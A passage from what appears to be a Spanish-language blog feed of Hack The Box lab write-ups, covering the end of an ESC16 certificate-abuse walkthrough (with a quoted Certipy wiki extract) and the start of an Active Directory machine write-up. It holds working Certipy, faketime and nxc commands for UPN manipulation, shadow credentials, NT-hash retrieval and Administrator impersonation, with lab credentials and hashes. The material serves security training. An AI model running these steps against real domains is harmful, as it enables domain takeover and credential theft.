&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ESC16 &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Security Extension is disabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [*] Remarks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ESC16 &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Other prerequisites may be required &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; this to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;be exploitable. See the wiki &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; more details.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certificate Templates &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; [!] Could not find any certificate templates
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aquí dejo el extracto de la wiki que estuve siguiendo para ESC16 (tal cual lo apunté):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“Exploitation with Certipy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The exploitation mechanisms for ESC16 are identical to those for ESC9 because the end result - a certificate lacking the SID security extension - is the same. The important difference is that for ESC16, &lt;em&gt;any&lt;/em&gt; certificate template enabling client authentication and issued by this misconfigured CA can be used in the UPN manipulation attack, not just a template specifically flagged with &lt;code&gt;CT_FLAG_NO_SECURITY_EXTENSION&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scenario A: UPN Manipulation (Requires&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;StrongCertificateBindingEnforcement = 1&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;(Compatibility) or&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;0&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;(Disabled) on DCs, and attacker has write access to a &amp;ldquo;victim&amp;rdquo; account&amp;rsquo;s UPN)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attacker (&lt;code&gt;attacker@corp.local&lt;/code&gt;) has &lt;code&gt;GenericWrite&lt;/code&gt; permission over a &amp;ldquo;victim&amp;rdquo; account (&lt;code&gt;victim@corp.local&lt;/code&gt;). The &lt;code&gt;victim&lt;/code&gt; account can enroll in &lt;em&gt;any suitable client authentication template&lt;/em&gt; (e.g., the default &amp;ldquo;User&amp;rdquo; template) on the ESC16-vulnerable CA. The target for impersonation is &lt;code&gt;administrator@corp.local&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Read initial UPN of the victim account (Optional - for restoration).&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy account \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -user &amp;#39;victim&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Reading attributes for &amp;#39;victim&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cn : Victim
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userPrincipalName : victim@CORP.LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Update the victim account&amp;rsquo;s UPN to the target administrator&amp;rsquo;s&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;sAMAccountName&lt;/code&gt;****.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy account \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -upn &amp;#39;administrator&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -user &amp;#39;victim&amp;#39; update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Updating user &amp;#39;victim&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userPrincipalName : administrator
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully updated &amp;#39;victim&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 3: (If needed) Obtain credentials for the &amp;ldquo;victim&amp;rdquo; account (e.g., via Shadow Credentials).&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy shadow \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -account &amp;#39;victim&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saving credential cache to &amp;#39;victim.ccache&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Wrote credential cache to &amp;#39;victim.ccache&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] NT hash for &amp;#39;victim&amp;#39;: fc525c9683e8fe067095ba2ddc971889
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Request a certificate as the &amp;ldquo;victim&amp;rdquo; user from&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;any suitable client authentication template&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;(e.g., &amp;ldquo;User&amp;rdquo;) on the ESC16-vulnerable CA.&lt;/strong&gt; Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template&amp;rsquo;s specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export KRB5CCNAME=victim.ccache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then request the certificate:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy req \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -k -dc-ip &amp;#39;10.0.0.100&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -target &amp;#39;CA.CORP.LOCAL&amp;#39; -ca &amp;#39;CORP-CA&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -template &amp;#39;User&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;`Certipy v5.0.0 - by Oliver Lyak (ly4k)&lt;/p&gt;
&lt;p&gt;[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN &amp;lsquo;&lt;a href="mailto:administrator@corp.local"&gt;administrator@corp.local&lt;/a&gt;&amp;rsquo;
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to &amp;lsquo;administrator.pfx&amp;rsquo;
[*] Wrote certificate and private key to &amp;lsquo;administrator.pfx&amp;rsquo;` ”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ajuste-de-tiempo-y-hash-de-winrm_svc"&gt;Ajuste de tiempo y hash de winrm_svc&lt;/h3&gt;
&lt;p&gt;Necesito maniobrar rápido (porque &lt;code&gt;p.agila&lt;/code&gt; vuelve a su estado normal en poco tiempo), así que saco el hash de &lt;code&gt;winrm_svc&lt;/code&gt; para trabajar más cómodo.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;faketime &lt;span style="color:#f92672"&gt;-f&lt;/span&gt; +7h certipy-ad auth -pfx winrm_svc.pfx -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -username winrm_svc -domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Could not find identification &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; the provided certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; winrm_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc@fluffy.htb&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;33bd09dcd697600edf6b3a7af4875767
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nota: aquí uso &lt;code&gt;faketime&lt;/code&gt; para “fakear” la hora y evitar problemas de Kerberos (porque &lt;code&gt;ntpupdate&lt;/code&gt; no me estaba funcionando correctamente). Así me salto parte del lío de sincronización.&lt;/p&gt;
&lt;h3 id="user-flag-winrm"&gt;User flag (WinRM)&lt;/h3&gt;
&lt;p&gt;Con esa cuenta entro por &lt;strong&gt;evilwin-rm&lt;/strong&gt; y obtengo la user flag.&lt;/p&gt;
&lt;h3 id="esc16-upn-manipulation--certificado-de-administrator"&gt;ESC16: UPN manipulation + certificado de Administrator&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-80a9-9bcf-fea8aa317c74.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Modifico el UPN de &lt;code&gt;ca_svc&lt;/code&gt; y lo pongo como &lt;code&gt;administrator&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/55341592-66fc-44f4-82cd-27c58b644b21.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Hago el request del certificado y puedo impersonar a Administrator.&lt;/p&gt;
&lt;p&gt;Después tengo que revertir el UPN de &lt;code&gt;ca_svc&lt;/code&gt; a otro valor para que el nombre &lt;code&gt;administrator&lt;/code&gt; vuelva a apuntar al Administrador real.&lt;/p&gt;
&lt;p&gt;Revierto el UPN de &lt;code&gt;ca_svc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;certipy-ad account -u 'winrm_svc' -hashes '33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.129.78.23' -user 'ca_svc' -upn 'ca_svc_restored' update&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Y me autentico con el certificado de Administrator:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;faketime -f +7h certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.78.23 -domain fluffy.htb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8071-ae6b-e255a1c67dc4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tengo.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Administrator (Medium)</title><link>https://synacklabs.github.io/posts/administrator/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/administrator/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/3fde77c1-1af1-4b95-831e-6f03e9ae6057.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;p&gt;Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un &lt;strong&gt;DC&lt;/strong&gt; (Kerberos, LDAP, SMB, WinRM, etc.).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;/tcp open ftp syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft ftpd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;47001&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ADMIN$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;olivia
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;benjamin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ethan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="acceso-inicial-por-winrm"&gt;Acceso inicial por WinRM&lt;/h3&gt;
&lt;p&gt;El siguiente paso lógico es probar WinRM, y efectivamente con &lt;strong&gt;Olivia&lt;/strong&gt; podemos entrar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc winrm &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WINRM &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt; DC [+] administrator.htb\Olivia&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ichliebedich (Pwn3d!)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="enumeración-de-ad-con-rusthound--bloodhound"&gt;Enumeración de AD con RustHound + BloodHound&lt;/h3&gt;
&lt;p&gt;Una vez dentro, enumeramos el dominio con &lt;strong&gt;RustHound-CE&lt;/strong&gt; y luego lo analizamos con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
